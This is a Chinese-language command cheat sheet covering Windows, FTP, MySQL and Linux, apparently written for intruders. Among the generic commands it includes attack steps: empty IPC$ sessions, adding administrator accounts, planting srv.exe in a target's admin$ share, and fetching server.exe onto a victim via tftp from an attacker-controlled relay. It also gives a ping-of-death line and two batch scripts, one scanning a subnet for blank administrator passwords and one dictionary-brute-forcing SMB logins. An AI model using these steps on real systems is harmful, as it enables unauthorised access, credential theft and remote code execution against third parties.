net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:net use h: \\ip\c$ 登陸後映射對方C:到本地為H:net use \\ip\ipc$ /del 刪除IPC鏈接net use h: /del 刪除映射對方到本地的為H:的映射net user 用戶名 密碼 /add 建立用戶net user guest /active:yes 激活guest用戶net user 查看有哪些用戶net user 帳戶名 查看帳戶的屬性net localgroup administrators 用戶名 /add 把“用戶”添加到管理員中使其具有管理員權限,注意:administrator後加s用複數net start 查看開啟了哪些服務net start 服務名 開啟服務;(如:net start telnet, net start schedule)net stop 服務名 停止某服務net time \\目標ip 查看對方時間net time \\目標ip /set 設置本地計算機時間與“目標IP”主機的時間同步,加上參數/yes可取消確認信息net view 查看本地局域網內開啟了哪些共享net view \\ip 查看對方局域網內開啟了哪些共享net config 顯示系統網絡設置net logoff 斷開連接的共享net pause 服務名 暫停某服務net send ip "文本信息" 向對方發信息net ver 局域網內正在使用的網絡連接類型和信息net share 查看本地開啟的共享net share ipc$ 開啟ipc$共享net share ipc$ /del 刪除ipc$共享net share c$ /del 刪除C:共享net user guest 12345 用guest用戶登陸後用將密碼改為12345net password 密碼 更改系統登陸密碼netstat -a 查看開啟了哪些端口,常用netstat -annetstat -n 查看端口的網絡連接情況,常用netstat -annetstat -v 查看正在進行的工作netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)netstat -s 查看正在使用的所有協議使用情況nbtstat -A ip 對方136到139其中一個端口開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:“-w數字”用於設置超時間隔。ping ip(或域名) 向對方主機發送默認大小為32字節的數據,參數:“-l[空格]數據包大小”;“-n發送數據次數”;“-t”指一直ping。ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數“/all”顯示全部配置信息tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪 除除只讀、隱藏、系統、存檔以外的文件。例如“DEL/AR *.*”表示刪除當前目錄下所有隻讀文件,“DEL/A-S *.*”表示刪除當前目錄下除系統文件以外的所有文件del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令at id號 開啟已註冊的某個計劃任務at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止at id號 /delete 停止某個已註冊的計劃任務at 查看所有的計劃任務at \\ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機finger username @host 查看最近有哪些用戶登陸telnet ip 端口 遠和登陸服務器,默認端口為23open ip 連接到IP(屬telnet登陸後的命令)telnet 在本機上直接鍵入telnet 將進入本機的telnetcopy 路徑\文件名1 路徑\文件名2 /y 複製文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件copy c:\srv.EⅩE \\ip\admin$ 複製本地c:\srv.EⅩE到對方的admin下cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件copy \\ip\admin$\svv.EⅩE c:\ 或:copy\\ip\admin$\*.* 複製對方admini$共享下的srv.EⅩE文件(所有文件)至本地C:xcopy 要複製的文件或目錄樹 目標地址\目錄名 複製文件和目錄樹,用參數/Y將不提示覆蓋相同文件tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.EⅩE c:\server.EⅩE 登陸後,將“IP”的server.EⅩE下載到目標主機c:\server.EⅩE 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送tftp -i 對方IP put c:\server.EⅩE 登陸後,上傳本地c:\server.EⅩE至主機ftp ip 端口 用於上傳文件至服務器或進行文件操作,默認端口為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)route print 顯示出IP路由,將主要顯示網絡地址Network addres,子網掩碼Netmask,網關地址Gateway addres,接口地址Inte**cearp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令mem 查看cpu使用情況attrib 文件名(目錄名) 查看某文件(目錄)的屬性attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間date /t 、 time /t 使用此參數即“DATE/T”、“TIME/T”將只顯示當前日期和時間,而不必輸入新日期和時間set 指定環境變量名稱=要指派給變量的字符 設置環境變量set 顯示當前所有的環境變量set p(或其它字符) 顯示出當前以字符p(或其它字符)開頭的所有環境變量pause 暫停批處理程序,並顯示出:請按任意鍵繼續....if 在批處理程序中執行條件處理(更多說明見if命令及變量)goto 標籤 將cmd.EⅩE導向到批處理程序中帶標籤的行(標籤必須單獨一行,且以冒號打頭,例如:“:start”標籤)call 路徑\批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變量)echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置echo 信息 在屏幕上顯示出信息echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中findstr "Hello" aa.txt 在aa.txt文件中尋找字符串hellofind 文件名 查找某文件title 標題名字 更改CMD窗口標題名字color 顏色值 設置cmd控制檯前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白prompt 名稱 更改cmd.EⅩE的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )print 文件名 打印文本文件ver 在DOS窗口下顯示版本信息winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)format 盤符 /FS:類型 格式化磁盤,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFSmd 目錄名 創建目錄replace 源文件 要替換文件的目錄 替換文件ren 原文件名 新文件名 重命名文件名tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱type 文件名 顯示文本文件的內容more 文件名 逐屏顯示輸出文件doskey 要鎖定的命令=字符doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=taskmgr 調出任務管理器chkdsk /F D: 檢查磁盤D並顯示狀態報告;加參數/f並修復磁盤上的錯誤tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認端口23為其它任何端口exit 退出cmd.EⅩE程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.EⅩEpath 路徑\可執行文件的文件名 為可執行文件設置一個路徑。cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?regedit /s 註冊表文件名 導入註冊表;參數/S指安靜模式導入,無任何提示;regedit /e 註冊表文件名 導出註冊表cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)――針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問權限;/G 用戶名:perm 賦予指定用戶訪問權限;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。cacls 文件名 查看文件的訪問用戶權限列表REM 文本內容 在批處理文件中添加註解netsh 查看或更改本地網絡配置情況IIS服務命令:iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)iisreset /start或stop 啟動(停止)所有Internet服務iisreset /restart 停止然後重新啟動所有Internet服務iisreset /status 顯示所有Internet服務狀態iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。FTP 命令: (後面有詳細說明內容)ftp的命令行格式為:ftp -v -d -i -n -g[主機名] -v 顯示遠程服務器的所有響應信息。-d 使用調試方式。-n **ftp的自動登錄,即不使用.netrc文件。-g 取消全局文件名。help [命令] 或 ?[命令] 查看命令說明bye 或 quit 終止主機FTP進程,並退出FTP管理方式.pwd 列出當前遠端主機目錄put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中mget [remote-files] 從遠端主機接收一批文件至本地主機mput local-files 將本地主機中一批文件傳送至遠端主機dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件ascii 設定以ASCII方式傳送文件(缺省值)bin 或 image 設定以二進制方式傳送文件bell 每完成一次文件傳送,報警提示cdup 返回上一級目錄close 中斷與遠程服務器的ftp會話(與open對應)open host[port] 建立指定ftp服務器連接,可指定連接端口delete 刪除遠端主機中的文件mdelete [remote-files] 刪除一批文件mkdir directory-name 在遠端主機中建立目錄rename [from] [to] 改變遠端主機中的文件名rmdir directory-name 刪除遠端主機中的目錄status 顯示當前FTP的狀態system 顯示遠端主機系統類型user user-name [password] [account] 重新以別的用戶名登錄遠端主機open host [port] 重新建立一個新的連接prompt 交互提示模式macdef 定義宏命令lcd 改變當前本地主機的工作目錄,如果缺省,就轉到當前用戶的HOME目錄chmod 改變遠端主機的文件權限case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母cd remote-dir 進入遠程主機目錄cdup 進入遠程主機目錄的父目錄! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zipMYSQL 命令:mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。(例:mysql -h110.110.110.110 -Uroot -P123456注:u與root可以不用加空格,其它也一樣)exit 退出MYSQLmysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼grant select on 數據庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)show databases; 顯示數據庫列表。剛開始時才兩個數據庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。use mysql;show tables; 顯示庫中的數據表describe 表名; 顯示數據表的結構create database 庫名; 建庫use 庫名;create table 表名 (字段設定列表); 建表drop database 庫名;drop table 表名; 刪庫和刪表delete from 表名; 將表中記錄清空select * from 表名; 顯示錶中的記錄mysqldump --opt school>school.bbb 備份數據庫:(命令在DOS的\\mysql\\bin目錄下執行);註釋:將數據庫school備份到school.bbb文件,school.bbb 是一個文本文件,文件名任取,打開看看你會有新發現。win2003系統下新增命令(實用部份):shutdown /參數 關閉或重啟本地或遠程主機。參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,範圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。例:shutdown /r /t 0 立即重啟本地主機(無延時)taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程。tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。參數說明:/M 列出當前進程加載的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。Linux系統下基本命令: 要區分大小寫uname 顯示版本信息(同win2K的 ver)dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)pwd 查詢當前所在的目錄位置cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。cat 文件名 查看文件內容cat >abc.txt 往abc.txt文件中寫上內容。more 文件名 以一頁一頁的方式顯示一個文本文件。cp 複製文件mv 移動文件rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄mkdir 目錄名 建立目錄rmdir 刪除子目錄,目錄內沒有文檔。chmod 設定檔案或目錄的存取權限grep 在檔案中查找字符串diff 檔案文件比較find 檔案搜尋date 現在的日期、時間who 查詢目前和你使用同一臺機器的人以及Login時間地點w 查詢目前上機者的詳細資料whoami 查看自己的帳號名稱groups 查看某人的Grouppasswd 更改密碼history 查看自己下過的命令ps 顯示進程狀態kill 停止某進程gcc 黑客通常用它來編譯C語言寫的文件su 權限轉換為指定使用者telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。ftp ftp連接上某服務器(同win2K)附:批處理命令與變量1:for命令及變量 基本格式:FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變量則用:%%i ,而調用變量時用:%i% ,變量是區分大小寫的(%i 不等於 %I)。批處理每次能處理的變量從%0―%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2―%9指輸入的第 2-9個值;例:net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3(set):指定一個或一組文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結束值,即:從1到254;“(1 -1 254)”說明:即從254到1}command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加:& 來隔開command_parameters:為特定命令指定參數或命令行開關IN (set):指在(set)中取值;DO command :指執行command參數:/L 指用增量形式{(set)為增量形式時};/F 指從文件中不斷取值,直到取完為止{(set)為文件時,如(d:\pass.txt)時}。用法舉例:@echo offecho 用法格式:test.bat *.*.* > test.txtfor /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator find "命令成功完成" >>test.txt存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變量(ip的最後一位);& 用來隔開echo 和net use 這二個命令; 指建立了ipc$後,在結果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結止值。@echo offecho 用法格式:ok.bat ipFOR /F %%i IN (D:\user.dic) DO smb.EⅩE %1 %%i D:\pass.dic 200存為:ok.EⅩE 說明:輸入一個IP後,用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認)。 2:if命令及變量 基本格式:IF [not] errorlevel 數字 命令語句 如果程序運行最後返回一個等於或大於指定數字的退出編碼,指定條件為“真”。例:IF errorlevel 0 命令 指程序執行後返回的值為0時,就值行後面的命令;IF not errorlevel 1 命令指程序執行最後返回的值不等於1,就執行後面的命令。0 指發現併成功執行(真);1 指沒有發現、沒執行(假)。IF [not] 字符串1==字符串2 命令語句 如果指定的文本字符串匹配(即:字符串1 等於 字符串2),就執行後面的命令。例:“if "%2%"=="4" goto start”指:如果輸入的第二個變量為4時,執行後面的命令(注意:調用變量時就%變量名%並加" ")IF [not] exist 文件名 命令語句 如果指定的文件名存在,就執行後面的命令。例:“if not nc.EⅩE goto end”指:如果沒有發現nc.EⅩE文件就跳到":end"標籤處。IF [not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字符串1==字符串2 命令語句 else 命令語句或 IF [not] exist 文件名 命令語句 else 命令語句 加上:else 命令語句後指:當前面的條件不成立時,就指行else後面的命令。注意:else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用< >括起來,因為del命令要單獨一行時才能執行,用上< >後就等於是單獨一行了;例如:“if exist test.txt. else echo test.txt.missing ”,注意命令中的“.”